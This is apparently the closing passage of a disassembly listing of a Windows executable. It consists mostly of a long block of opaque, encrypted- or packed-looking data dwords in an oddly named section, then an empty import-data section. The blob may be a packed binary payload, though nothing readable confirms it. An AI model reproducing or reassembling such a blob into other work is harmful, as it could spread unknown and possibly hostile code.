		dd 0ABCF18DFh, 7E0C3687h, 0A59DC045h, 1B730F23h, 5E134608h
		dd 0F1F72307h, 3C6FB3D7h, 0B28D7354h, 6A29E7D9h, 2E20B307h
		dd 0B6F46DFh, 0AEEB466Eh, 0DA005337h, 637F2E4Ah, 4E663317h
		dd 5B3FB5E1h, 375AEC66h, 0A85F23B2h, 8BAFF77Fh,	0F68ACE67h
		dd 328F93EFh, 0CD339ECAh, 9D87B397h, 0BD00FCD1h, 36281670h
		dd 4B20E347h, 1646D614h, 16BFC3A7h, 0AB1274E2h,	11CBF3C7h
		dd 99EF5956h, 5B7F81CFh, 9B5AECB7h, 0BE5F23B1h,	0A9DAA9D7h
		dd 665CEEAh, 1DDD3B7h, 9CAAAE41h, 1F6FF3CAh, 8AAF5371h
		dd 1FDA6CE5h, 0E3DFA331h, 3D03E668h, 1E79C3A7h,	0EB4F6B3Ah
		dd 7B934BC7h, 98B83357h, 6834C0E8h, 0E78B3D05h,	0AEA063CBh
		dd 8BEFC68Bh, 1B382BF4h, 0DE02D3F7h, 0FB5F3B03h, 0B7D23E8Eh
		dd 33FF4312h, 0D4B065E6h, 0BBDFEFEFh, 45662497h, 0CFFA8DAEh
		dd 0A7431759h, 0E70A5CC7h, 4EEF7362h, 0BCFB8C67h, 38CF1336h
		dd 3B5F66EFh, 91A7E17h,	423F037Fh, 5D976E7Ah, 0E1F72307h
		dd 0C8904C21h, 9BC91F9Ah, 0AF4093B7h, 0BBDFE2C5h, 0ABF9F16h
		dd 0F3EBC3E7h, 0EB0F5276h, 4E633638h, 0F6E3317h, 5B7F8237h
		dd 0C11B9867h, 0AEA03187h, 8BEFC50Bh, 6E6683E2h, 7807BBFAh
		dd 6EE02347h, 4B2F866Bh, 667CE1CCh, 2B0F8EDEh, 36F69607h
		dd 4B321E12h, 0E4093E7h, 0EB4F657Fh, 0FF906342h, 0CBEF326Ch
		dd 0D073C32Ch, 24FFEC37h, 7B420A02h, 0C62A3517h, 1A3F035Fh
		dd 6AE5D39Dh, 6EE0212Dh, 4B2F85C3h, 0D400FBA4h,	2B4E8133h
		dd 2E527007h, 0B6F6EF2h, 0C8EDD38Dh, 0DD0BC688h, 0BB1AA387h
		dd 0CB1DB658h, 0E6F283A7h, 0AB8F0EB1h, 87B76B36h, 0E3500CEDh
		dd 1B3F43F3h, 0E269F8A9h, 44B0773h, 0B5A2B42h, 4F428E27h
		dd 9A4FD3AAh, 41420B06h, 4FA48C68h, 7B7ED3C3h, 0CF4B587Fh
		dd 737F62C3h, 0C3CB775Ch, 5B7A6BF7h, 85EA1337h,	6C5F1BB1h
		dd 0BEFB66E8h, 0DFBC4327h, 6DC815FBh, 7A8AAE67h, 216FF3CAh
		dd 0DBDE6B27h, 781D93B7h, 8DCF76F8h, 77A273D7h,	64E8D7C3h
		dd 0AB3A0BE2h, 439B65C7h, 0CB85735Dh, 0A42CD4F7h, 0EBF903A2h
		dd 0B6B96087h, 0CBB251AAh, 733F2967h, 6B8FD3FBh, 6EE07010h
		dd 4B2F85C7h, 0DBFF0F1Ah, 0A602E6B7h, 0FBE9ADB2h, 46A2FE97h
		dd 0B0BF83DFh, 0BA0F39B9h, 0EE60F091h, 0CBAF055Bh, 257F7B24h
		dd 55448218h, 0D11D60Ah, 861FF357h, 0B4AED95h, 91773B97h
		dd 897EDCB8h, 0C66650C0h, 31140250h, 0E5645C3Ch, 8D915E8Ah
		dd 0AFDC73D7h, 22543460h, 0EB9AAC24h, 0FB9FE3F1h, 8BFA44EAh
		dd 710B82A7h, 0ABBA235Fh, 87CA9C87h, 0BAFB322h,	5B070EDAh
		dd 7AFBD3F7h, 0E676A680h, 4B6FB397h, 5E390327h,	2B0FABFAh
		dd 45890A07h, 8EE88C68h, 9BFFD667h, 6B0F5377h, 7B9B619Ah
		dd 0EBA0395Ah, 3510ECC9h, 8BA97C17h, 5E390AEBh,	0ABE0D336h
		dd 7E522A13h, 4BE0A7D7h, 9E734624h, 3F0EC1B5h, 0D1F22242h
		dd 0B6FB397h, 0C8FFAC27h, 6E421EE2h, 0FAD8E395h, 856A3705h
		dd 2995AEE6h, 0A58A5F32h, 281AEFD3h, 8BB67F44h,	4B2F02EFh
		dd 0E5CED36Eh, 635A6303h, 1FECB687h, 0D76B4D26h, 2A1BC0F7h
		dd 0B5966749h, 66FA9D0h, 0DA88E90Ah, 624710E3h,	0FA9FA489h
		dd 8F2F3F1Bh, 1ABFDAA6h, 0A5CF5739h, 2F17E4CEh,	0C4A9331Bh
		dd 493943F5h, 0EFC1967Eh, 3B766314h, 1FE6B280h,	0AC152E7Dh
		dd 2E1DD6BFh, 0BE8D6207h, 5E20EA97h, 0C9B9C32Bh, 6F4116FEh
		dd 0D89FFC94h, 0CA6A3E18h, 5BEBEAE7h, 0BFCF403Eh, 7A1AEECEh
		dd 8CBB5A17h, 5A3343F4h, 868E9663h, 0CF46AE6Dh,	5CDD9BB8h
		dd 5D0B0A07h, 0FA9556C7h, 0B5066900h, 0ECCB97D7h, 1086B437h
		dd 0AD3B60ADh, 21284F7h, 87C30F15h, 85EDD05h, 0F5AC324Dh
		dd 0E3CCD1F2h, 0BDD79DEFh, 3B5F6368h, 8BAFF317h, 1B3F4367h
		dd 6B8FD3F7h, 0FB1F2347h, 4B6FB3D7h, 0DBFF0327h, 2B4F93B7h
		dd 0BBDFE307h, 0B2F7397h, 9BBFC3E7h, 0EB0F5377h, 7B9FA3C7h
		dd 0CBEF3357h, 5B7F83A7h, 0ABCF1337h, 3B5F6387h, 8BAFF317h
		dd 0BEBC2367h, 6BCFEA51h, 51BAA047h, 4B6FF3EEh,	0CFBCB428h
		dd 2457C03Ah, 0B8D9A8B0h, 2F6BF847h, 97FDE8C3h,	0A9344A05h
		dd 0F08BD0CFh, 89C42715h, 0FDEA0AABh, 22CF530Eh, 7B66C902h
		dd 8AA1817h, 0C2DD6BA5h, 6B8B1196h, 0D9E8A6CFh,	2F87B397h
		dd 0B3FF0327h, 2B4F9397h, 99FB668Ah, 327673D7h,	18B3B7FFh
		dd 1CED57B7h, 42112638h, 3C2C3317h, 0ACF2807Eh,	48CF5315h
		dd 0C72F9C97h, 632CF398h, 92C9A163h, 2BADF76Ah,	0FB25A047h
		dd 7944B6A3h, 56EF7124h, 70176FF9h, 0BBE56059h,	39D077E3h
		dd 0E940C00Ch, 1458BB67h, 0B5B45C38h, 0F245BE7Ch, 582783E7h
		dd 240C277Ch, 7B66F102h, 52A3417h, 1B3F035Eh, 838FD3F7h
		dd 0FB1F237Bh, 72E1365Ch, 0AE170367h, 0C3B06C40h, 0BBDFE31Fh
		dd 32A1CE14h, 0EEBFC3A7h, 4B92DA7Fh, 909FE3E5h,	4562CCCBh
		dd 987FC39Eh, 925D96B8h, 0AED663C7h, 8BEFCA99h,	1B3F408Fh
		dd 0A846E0F7h, 0FB9FB0CCh, 0A33DB3D7h, 2400FDCAh, 12E506B4h
		dd 6DDCE347h, 0B230914h, 9AB847E8h, 918C5377h, 0FF90A3D7h
		dd 0CBEF33AAh, 0B73C12Ch, 5431DBDFh, 91DA6078h,	88AFB32Eh
		dd 13B513A1h, 1F8F2A77h, 0D5E6A35Eh, 0A02FB0A3h, 0DAB788D6h
		dd 0F4907236h, 425E3CD8h
		dd 0B633FD3h, 0B0E62F92h, 11F6D0BFh, 7B282CC8h,	4A893357h
		dd 694C7DDFh, 0AB649638h, 0B8096387h, 8EDAF32Dh, 0F02F09ECh
		dd 688558F5h, 89F772B6h, 48904C29h, 9BC6A992h, 0EBCA3EB7h
		dd 3FD0187Fh, 0B2F7313h, 0A2157618h, 35F5337h, 84605D92h
		dd 0F245B654h, 0DEF083E7h, 0AB8F2A9Dh, 687B6784h, 0B8AD3394h
		dd 13894CBCh, 0A20FC114h, 0DFDE7067h, 5746B7F3h, 0FFF32A03h
		dd 0C2A4D3ECh, 6CD01886h, 355BAE2Ch, 0DE173866h, 0DD7B8819h
		dd 40C65846h, 0E59BCCF6h, 79A97826h, 8DBBBF82h,	0D2CC9806h
		dd 95DB004Fh, 0F242B8E6h, 7DFB20AFh, 0C459D8C6h, 451B52F2h
		dd 0E4CFF8A6h, 2D3B7292h, 824D76F8h, 0E27473D7h, 64403C96h
		dd 0FFCDD029h, 84614C2Eh, 0A1EEF0A8h, 4E97DBA3h, 2330ECC1h
		dd 7B7BB212h, 0BA179517h, 0DBDD417Fh, 898DD013h, 0FD758821h
		dd 0BE955B8Fh, 197CFCD8h, 419E14BFh, 5637BB02h,	8BD08C62h
		dd 90CCC01Dh, 6E0D03C7h, 7BDF8716h, 0A1C8D8FDh,	0DBD5DBCFh
		dd 0B3BA10CDh, 0F6B77237h, 33500CE2h, 1B3F4366h, 66FB0173h
		dd 31E1C396h, 4E84453Ch, 0DBFF039Fh, 94AD3837h,	87626EC4h
		dd 0FC2F33A3h, 0DB8BF262h, 0EB0F5377h, 0CB9CD747h, 4E189937h
		dd 5B3FB796h, 0AACF1334h, 3BA9E788h, 0DE17F317h, 0B0D7AFECh
		dd 0FD325A5Ch, 4B1F637Eh, 0BCC4193Fh, 9BCB32A2h, 2B4F93B7h
		dd 21626A06h, 7F2F33AEh, 0AA3A34ACh, 0EB0F1343h, 0C39DA3C7h
		dd 0FD105730h, 3CC786D2h, 0E19853h, 3B5FDBE1h, 88DB5871h
		dd 0EC951ED7h, 2BBBE272h, 0FB1F2347h, 26E20BDFh, 0CD8A032Fh
		dd 1F7E1640h, 0BBDFE347h, 88977797h, 0EFBFCB22h, 68CEB72h
		dd 3434A33Fh, 0FFDEB6A0h, 5B7C83E7h, 0AFBB1337h, 90F58A37h
		dd 0B239769Ch, 0D4B44327h, 23061BDCh, 0CA9AD4BBh, 486FF3E3h
		dd 0AFFF0327h, 4F282BE8h, 656D5F8h, 0B6F4A09h, 9BBF7B4Ch
		dd 53A43710h, 7B9F854Eh, 3552DBFCh, 7BCF7C58h, 5433DCDFh
		dd 5D668078h, 0EDBA0CAFh, 9094D2CCh, 2BBBE262h,	0CCDD447h
		dd 4B6FB015h, 33EB7627h, 0D4B06D20h, 1237FCB7h,	6DD08C6Bh
		dd 0FDAA3C5Fh, 60A4C2DCh, 0E51A2808h, 0E0EF736Eh, 0A7370A6Fh
		dd 9FFE96C0h, 3B5B63C7h, 99DBF317h, 0E5FF6ADFh,	6337783Fh
		dd 501B5787h, 0A097C66Fh, 5E08A840h, 2B0FA786h,	0BBDFE30Fh
		dd 0B6AF39E2h, 9BFFF7C8h, 534E2777h, 0B2B6BBEEh, 0FFC4965Dh
		dd 0BFBF83E7h, 806A1934h, 905F23B3h, 10542A7h, 5B0B6CE2h
		dd 2B3F79F7h, 0CF34A64Dh, 2DC5B397h, 2C02E19Fh,	6B7BA232h
		dd 0BBDFF307h, 0BB280797h, 23D969AEh, 4069AF02h, 48354B77h
		dd 76669897h, 5B3FBA25h, 9FFE96C0h, 3B7F63C7h, 82DAF317h
		dd 9E351BD7h, 6BCFE7DEh, 7AA745EDh, 7AEA4417h, 9BFF4313h
		dd 5F4F93B7h, 931B6304h, 3F06D69Dh, 30D9C3A7h, 0D289EEFEh
		dd 8C34A387h, 8BDB02D2h, 5B7F83A7h, 1BC66677h, 12DA61D7h
		dd 21AFB323h, 2F0EC690h, 6B0FD3B7h, 0F06A2347h,	0CE650B67h
		dd 0DBBF370Dh, 4D72781Dh, 4CC7D2BFh, 4B1B4212h,	9BBEC3E7h
		dd 5B0D2777h, 513AA9EEh, 0BEF7363h, 0FE758043h,	0AB8F271Dh
		dd 8339C8E1h, 0E580396h, 1B7F7756h, 6B8FD1F7h, 33AB2132h
		dd 7F4516DDh, 70990367h, 12ED2E3Eh, 8767E347h, 0A02F73B3h
		dd 0AF8E4610h, 0EB075337h, 17EBA3C7h, 0FFDEB6A0h, 5F7F83E7h
		dd 0A0BA1337h, 0BE55DB37h, 8BEFC73Ch, 0EC72A8CDh, 2BBBE272h
		dd 0FB172347h, 2D7EC6D7h, 0D11F809Fh, 6B7BB812h, 88748507h
		dd 1EC4D957h, 83967B81h, 0DF24F67Dh, 9F5FA387h,	0E04A3954h
		dd 3D7FC393h, 9A4AE49Ch, 3B5F23B3h, 0EDAFF307h,	6FFFC2DFh
		dd 634B53F4h, 0CF34864Dh, 0E009B397h, 0F47AB528h, 804FD383h
		dd 8FEE66F0h, 0B2F73D7h, 92CB83E7h, 6E0D03C7h, 7BDF97EEh
		dd 0FA6AC4FDh, 5B7FC393h, 1BCF1317h, 3F5D1601h,	75E07E13h
		dd 2F16E6EDh, 0E606D3B7h, 0FB5F1ACDh, 0B7EF18B1h, 6BF87622h
		dd 0D40013B7h, 3E284947h, 0B6F47A6h, 9BBF83E7h,	0DA69EB11h
		dd 522BA1B2h, 0D35F9831h, 6F5406ADh, 4B0F1377h,	0B3EFC984h
		dd 0BF9E76E0h, 9B3F4327h, 69FAD3F7h, 5E95A5F7h,	4B2F87FEh
		dd 277FA841h, 9B48E6B2h, 44906307h, 8ED8D9D7h, 9BFFF7D6h
		dd 0EB0E5377h, 3B2FA8B2h, 0FFC6B65Dh, 0B0D583E7h, 28777538h
		dd 12FA6947h, 0EDAFB323h, 0B13EF3CCh, 5FBE5600h, 0FB1F2307h
		dd 641AB3D5h, 0EFCE86D0h, 2B4F93F7h, 0A1AAE303h, 8E25B327h
		dd 9BFFF7CCh, 0DF3FF6FDh, 9B5EA387h, 0AD575547h, 5BCF2826h
		dd 0EB7F1BDCh, 0F74E68Dh, 7C05F357h, 5B0B72E2h,	638FD3F7h
		dd 9D0F5647h, 4187306Fh, 9BCB2982h, 9BE4F5B7h, 0BD70806h
		dd 21AA79DFh, 31BF83D3h, 0DF3ED680h, 7B9FA387h,	0BE5E3347h
		dd 0E319A6D2h, 0EC5EBB4h, 3B1F57ADh, 4B9C5871h,	91826ACDh
		dd 9C8F93CEh, 0BB2B12C2h, 6B6FB3D7h, 6AE07627h,	4D5478C0h
		dd 0B1C7EABFh, 4B1B5932h, 985B03E7h, 0DF25F67Dh, 0D0F9A387h
		dd 0F2658E7Eh, 9AF583E7h, 9245B6BDh, 903963C7h,	0EADABA7h
		dd 1B7F774Eh, 5A0A245Dh, 0F81F6373h, 446EB3D7h,	0DBFF84A3h
		dd 4F282BB7h, 3654C58Ch, 0B6F47A6h, 9BBF3266h, 2AF85177h
		dd 789FA3C7h, 0AC573622h, 0F05104C3h, 0ABCF138Fh, 4EF40587h
		dd 179511h, 0A3942582h,	6D00B493h, 9DDF10ECh, 7AEA447Ch
		dd 0DBFF4313h, 5E4E93B7h, 8A5A1447h, 0B2F33A3h,	0EFB7C3E7h
		dd 66B73551h, 4A1A54ABh, 0CBEF7363h, 547D83A7h,	4AC5D2A2h
		dd 0F2DBC8E1h, 33C9FB62h, 0B0594743h, 633FC01Ch, 9D11C8EDh
		dd 4932EB6Fh, 9BCB28A2h, 0C0E4F5B7h, 11165304h,	3F1EF660h
		dd 9BBFC3A7h, 0CB7BD377h, 0FEB5A477h, 0CBAF077Eh, 56656366h
		dd 0ABEB1BBEh, 0F76C685h, 6F6FF357h, 1FFBC364h,	0C1EE635Ch
		dd 1BE09B21h, 7F4616DDh, 70990367h, 1F7E1640h, 0BBFFE347h
		dd 585B7397h, 0AF8E4610h, 0EB0F5337h, 76EB83C7h, 0CBECF4A0h
		dd 5E0B83A7h, 40658387h, 0B098E874h, 0CB96719Ah, 92FE6867h
		dd 333F2FB6h, 0CF36A64Dh, 0BCC5B397h, 9BCB32A2h, 6B4F93B7h
		dd 0DDD39707h, 1EC232Fh, 0DB8BEA62h, 8D05B877h,	717F5C7Fh
		dd 8BDB1AF2h, 0ACD4E5A7h, 0EBFB22B2h, 3B5F6087h, 7CDC8716h
		dd 5B0B72E2h, 6B8FD3F7h, 0C125767h, 4B6FB010h, 6BFA7727h
		dd 0D8A43927h, 3E542C8Ch, 0B6F4A0Dh, 0D3360BCCh, 1CC6608Bh
		dd 3BAB9242h, 4BEF3357h, 0D671F6A7h, 0EBFB3AB2h, 7B57E987h
		dd 0F8AC0A97h, 0D63BCE9Fh, 6B9FF7B3h, 4B17C386h, 4D8C185Ch
		dd 1BCEBB41h, 932938D1h, 3B76388h, 92F7397h, 0C314A506h
		dd 9EC6D6DCh, 4A27C5C1h, 7B445597h, 0DEF22964h,	0AB8F270Bh
		dd 0F6EE670h, 8BAFF357h, 1D4A5367h, 3377F8A0h, 0A8943AACh
		dd 609798FFh, 797288F7h, 2A4FD38Eh, 0FBE66192h,	80167297h
		dd 12BBE7A3h, 0AB1F3ECAh, 0FD2228C7h, 0E0EF736Eh, 1B460122h
		dd 9A4AE437h, 7B5F23B3h, 0FFAFF317h, 0B0E7B465h, 3D8FD735h
		dd 55A2A010h, 4B6FF3EEh, 0DA268728h, 26A793B7h,	0F0DFE307h
		dd 4E6121D2h, 0B58DF0ABh, 0EB431F33h, 4E173638h, 4E663317h
		dd 5B3FBA19h, 97979864h, 48A0BB84h, 0BFEC783Fh,	0E4C9BF8Fh
		dd 0CD1A5808h, 0A01F637Eh, 0C263F1D4h, 9BC6C1A2h, 230D90B7h
		dd 8219668Eh, 78A473D7h, 1B0C3CCFh, 30F5377h, 84605512h
		dd 0F2498EDCh, 0B32983E7h, 5430E5FEh, 2F9F60Ch,	0C124F357h
		dd 1775406Fh, 820C1DDCh, 9B972C42h, 446FB3D6h, 0DBFE59A3h
		dd 81FA90B7h, 0B8DFA33Eh
		dd 4B160122h, 73836FE7h, 0EBADD678h, 3D12A3C7h,	0B96A1853h
		dd 587FC39Eh, 2D274331h, 0B8A09C71h, 0CB9655AAh, 104A4367h
		dd 648394CCh, 0FB1E38C4h, 726358D7h, 9BC6A5B2h,	26CA9CB7h
		dd 0B8DFE306h, 4B160112h, 0A33EA5E7h, 6E007688h, 7B9FA33Bh
		dd 0E0ED73DCh, 0B32FB7E4h, 5430E57Eh, 2F9DEBEh,	0EA0F357h
		dd 1B3F4383h, 522556F4h, 7E1C2307h, 4B2F8AA5h, 9CD403ACh
		dd 0E6CD9CBBh, 80DFE307h, 88207BD0h, 9BBFC323h,	0E80D93F4h
		dd 0FE9CB780h, 0CBAF0A25h, 0EE80D3F5h, 0AB8F2A89h, 0E17F678h
		dd 0EF5F357h, 0ACBA4CA7h, 828FD3F7h, 0FB1F23DBh, 0CE604CEBh
		dd 0DBFF03B3h, 245AAD37h, 0BBDF6882h, 0A69F897h, 0CB8B80CCh
		dd 14FA8B9Fh, 0DD229A38h, 0BEEF736Eh, 0F1FA80D0h, 0A8CF530Eh
		dd 7B661102h, 412A7A17h, 903F035Eh, 0A90AE8F7h,	891F637Eh
		dd 8DEA88DFh, 0A9FF431Eh, 2B4FAEDEh, 8CAD9307h,	0B2F6C7Fh
		dd 67F14EE7h, 0E92492FCh, 408FE1C4h, 8BD6F9D2h,	0D873F6A7h
		dd 9A3003F3h, 277B2708h, 48B41876h, 22ADC6E8h, 0E0EFD3B7h
		dd 0BB2651F2h, 0BD195BD7h, 729EFCD8h, 0AB4F93B7h, 0FCF4ED72h
		dd 3026019Bh, 19B0CBA0h, 14F0AC4Bh, 0C91AAC8Eh,	4010CCA9h
		dd 0FCFEA79Bh, 0ABCF3706h, 44A09C78h, 0C12ECFFCh, 1B3F2343h
		dd 0ABBC9D17h, 7C3B2FCCh, 0B561D52h, 0EE468E27h, 284F9393h
		dd 0FBE69182h, 0AE8A1597h, 9879E8A9h, 0A9244735h, 80D965CBh
		dd 996EF4BFh, 5E7F83A7h, 22CF1337h, 65009FC1h, 0C51A7ED4h
		dd 4D3F035Fh, 5EF34608h, 39C2307h, 0F0EBBC28h, 52FF0327h
		dd 6B76C132h, 0EDDF8907h, 3E9BE668h, 5B3AC3A7h,	0EBABD778h
		dd 0BBB4A3C7h, 0C8856307h, 337EE9F7h, 6BCF1337h, 67CA9CD1h
		dd 8AFB322h, 9F30BC9Fh,	6B8FD6C9h, 0C249A6CEh, 0C6E2B397h
		dd 0DBBF3A7Dh, 122D063Ah, 0E98EE347h, 0F47F73FDh, 0DB8A4772h
		dd 14F7D077h, 7E9327C8h, 0CB853357h, 62293658h,	3E301377h
		dd 3B1F5607h, 84500B94h, 1B3BB6E3h, 10A5AF7h, 0C81F637Eh
		dd 1AACB01Eh, 0DF955277h, 7DFA6CE6h, 44DFA33Eh,	4B1A1302h
		dd 947F46E7h, 0EB0B82F3h, 0F25690C7h, 8BD65DD2h, 0A2ED2A7h
		dd 0A4CF0C5Fh, 0AEA03387h, 8BEFC6B7h, 9F3083E2h, 6B8FD77Dh
		dd 0C26DA6CEh, 0F3ACB397h, 0DBFF6AEAh, 0DC77D83Ch, 0FBEBD282h
		dd 0B2F7397h, 98B9B6F7h, 0AB1F3EF2h, 784D90C7h,	3C1EC496h
		dd 21FA0A46h, 13CF530Eh, 3B5F47BCh, 8893B89Ch, 5B2F2EE2h
		dd 685DE0F7h, 0CEED486h, 3DEA3A36h, 18FF431Eh, 2D0424B8h
		dd 36EA00FEh, 0BC206BC4h, 4BBCD7A4h, 0C3CE383Eh, 411E73C4h
		dd 0A5864408h, 0D862F75Eh, 0D9CE1F4Dh, 714E867h, 88BBB19Ch
		dd 5FB25325h, 0B2782CBFh, 7E24E264h, 4B2F8ABDh,	0FFAB88E4h
		dd 0A48FA0A7h, 0BBDF5B85h, 0C4A4B097h, 2632C80Ch, 0EB4F6B39h
		dd 4840283Bh, 0AAD39F9Eh, 214385D5h, 8BE31140h,	4F035F2Dh
		dd 0FF81CFFBh, 6E3F7FBAh, 0E046301Fh, 0A35A1E46h, 401BB392h
		dd 89BC501Ah, 18CA9CB7h, 30201CF8h, 42784E94h, 1FB080A9h
		dd 14F0AC51h, 2EDCF4FAh, 0D06B3C19h, 66807C58h,	99FC5060h
		dd 0C44FE788h, 0DB920CE8h, 14701734h, 9470D673h, 13C410B8h
		dd 0B4904DFAh, 25078728h, 0F97C6C48h, 0BBDFF5EFh, 0F4409B97h
		dd 9B573C18h, 0B60F5377h, 54154E46h, 0F6063317h, 3F7F83A4h
		dd 1E4421C8h, 3B1F5AF5h, 0ED8D7A73h, 41727DE6h,	68A956F8h
		dd 0A5942347h, 2DB1B0EBh, 9EAF38A6h, 285916B8h,	0F828E307h
		dd 0B0F7381h, 923ACCE7h, 1D0F5374h, 0F09DFF84h,	4FE01319h
		dd 5B7F815Bh, 524E1FD4h, 3B5F6286h, 89417518h, 0D6D74367h
		dd 64702C09h, 0FB1DC0C5h, 5B2538D7h, 63F34924h,	2B4E93B7h
		dd 51310B56h, 9E1F8C68h, 9BFFF7C8h, 5E3F73C6h, 7BDF97F7h
		dd 211133Dh, 0B36BFBFFh, 5430F9E3h, 0AF50B102h,	0BA4D20D5h
		dd 5B0B72F2h, 36A38F7h,	0FB1F2341h, 4B69DB8Eh, 33A70327h
		dd 0D4B07903h, 8FF6668Dh, 8FA973D7h, 0DB8BEACDh, 0C28ADB77h
		dd 999FE3F3h, 0FA6AC4B7h, 537FC393h, 0DECF1337h, 10E2E38Eh
		dd 8AAFB323h, 9EC88613h, 6BCFE7C6h, 0FA1F2344h,	0F6EFA8A3h
		dd 0DBBF370Eh, 0ABFFE7B2h, 0FBEBC9BAh, 0AC5B7697h, 0AF947E67h
		dd 9F0A5337h, 4A1A5459h, 0CBEF7363h, 2FFF83A7h,	8272933Eh
		dd 395F23B3h, 2E2C7A60h, 1B7F7AC9h, 9F003BF7h, 3BF7DCB8h
		dd 0A3904C2Ah, 0DBFF0102h, 12390E3Ch, 6537E347h, 4D08C6Bh
		dd 9BBDC863h, 99BAD877h, 0F09FE3FEh, 15EC0F09h,	0A4825C4Fh
		dd 5E4D1CC8h, 0BA5F6386h, 8BCFD75Dh, 0E5B4A367h, 118C85A5h
		dd 0EB652053h, 7F5E3620h, 0DBFF0367h, 253A83B7h, 8FE3568Ah
		dd 86A473D7h, 9BFFD38Ah, 5258F784h, 7B9FAAC8h, 0DBEF86DAh
		dd 0FE8C83E7h, 0A92C1386h, 0BEA8C774h, 8BEFC726h, 0B3F4367h
		dd 6B2757F8h, 88E02347h, 0BA005BFFh, 4E74FCD8h,	2B0FAA11h
		dd 3FD03182h, 0B2F7305h, 0A2CD766Ch, 0A1845337h, 5FD522D7h
		dd 2BEF3337h, 2877C98Ch, 0A8062035h, 0B66477F5h, 8BEFE37Ah
		dd 0B52CEECh, 3DFDD3B7h, 783B1FCCh, 0B7FDE72h, 7C7C0327h
		dd 2B4F93DAh, 0B3A56807h, 8273996h, 10484410h, 0AB36D5F2h
		dd 4A1A54C7h, 8BEF7363h, 2F7F83A7h, 0A8D7E435h,	0B766FF5h
		dd 0B201469Eh, 68B44327h, 9CBFD2DFh, 0BB2B12C2h, 4B6FF3D7h
		dd 2CFD7727h, 9FA7C2AFh, 0E2201CFBh, 782C7F7Ch,	97CDE8CFh
		dd 4FFC0526h, 0CE12FA98h, 0CBAF076Bh, 5202754h,	265D2238h
		dd 3B5EB100h, 0A43AC917h, 6E3F0353h, 135DBAF1h,	730D1711h
		dd 87874C87h, 8100FCF8h, 2843D93Ch, 3E28F34Dh, 0B6F47A6h
		dd 8BBFC3E7h, 9E0912FAh, 0D5122AD4h, 0C8EF736Eh, 1B6FEE22h
		dd 0C6689037h, 3B5F6387h, 7487B03Ch, 5B063DD2h,	39085AF7h
		dd 741F2347h, 0CE989391h, 0DBBF3716h, 0AB4F93B7h, 538DE473h
		dd 0F4D08AB0h, 353248BDh, 80F134Eh, 53D42AC4h, 40FF79DCh
		dd 1B46F522h, 0A3852A37h, 71D660F4h, 9BEDF21Fh,	1B6720E4h
		dd 52F5567Ch, 0C7772307h, 4A6FB3F3h, 0DAA60B65h, 0BEC5C3F4h
		dd 0BB9FD728h, 3F1EF660h, 9BBFC3A7h, 0ED7B4377h, 6BF22EC4h
		dd 0CB593317h, 6F4E0650h, 0ABCF1377h, 2F2A6385h, 0E5835E9h
		dd 1B7F7756h, 6B8BD3F7h, 4E952532h, 4B2F87E7h, 0EFCE86D0h
		dd 6B4F93F7h, 0B0AAE307h, 0C92D741Dh, 7969C14Dh, 6106B880h
		dd 0D15D91C0h, 3C0DE555h, 0D01B5194h, 0A9407715h, 6DE2E0DFh
		dd 8BAFB32Eh, 0E0B7C768h, 0DE702C08h, 0FB5F1A35h, 7EAB2628h
		dd 6E000367h, 2B0FAAD9h, 8EE376F8h, 86A273D7h, 9BFFFABDh
		dd 0D26DC6FAh, 29CEA387h, 7E10333Dh, 5B3FBAF1h,	9E7786C8h
		dd 8EA063C7h, 8BEFCA41h, 2E03D698h, 0DE02D3B7h,	0FB5F1B09h
		dd 723D0628h, 24A90367h, 6B7A2722h, 0ED7A6007h,	0B2F33AEh
		dd 9BBF2B24h, 81525377h, 327222C6h, 93EF7364h, 0DEBE8C57h
		dd 0AB8F06B7h, 0B89CA302h, 845F0CDFh, 0EBFC6A6h, 564CD3B7h
		dd 0FB352357h, 0CA09AFA2h, 0B7F3275Bh, 4B5CE6C6h, 442027EFh
		dd 0E32A0668h, 64403899h, 14F0819Fh, 84B1C238h,	0FFB94B7Ah
		dd 5B5A3BB5h, 43AF1337h, 0C4A09C22h, 0CF24CA62h, 0AEB27343h
		dd 6BCFEBB9h, 9D1773CCh, 49698956h, 0B3A92654h,	2BB093B7h
		dd 0BBB5278Ch, 9ED023C5h, 9BFFF61Fh, 6A0797F4h,	44A0FFF9h
		dd 48EC460Bh, 70978761h, 4330ECCCh, 0C4A09CF8h,	0FF173076h
		dd 0F03F4367h, 6BA06B46h, 0EBF72347h, 896FB3D7h, 0EB470307h
		dd 0C34F93B7h, 0BBDFE304h
		dd 862F5755h, 56B3E7B3h, 0EBF7D059h, 93FFBABBh,	0CBEF3357h
		dd 6B5BD72Ch, 2AD5986Ah, 7B6B706Ah, 6E961B17h, 0D95EBC98h
		dd 698CD3F3h, 0FA192640h, 0A7A70F38h, 0FA10F325h, 0EEEFFE7Bh
		dd 9FE5517Fh, 59E0E66Fh, 2F5610B9h, 87EB0D48h, 0E66F9FF8h
		dd 0F9DF2FDEh, 0ED7B6243h, 0E668FE0Eh, 45056EA6h, 6EE668FEh
		dd 16h,	419h dup(0)
lsqvqpii	ends

; Section 6. (virtual address 00045000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00045000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 445000h
		align 2000h
_idata2		ends


		end start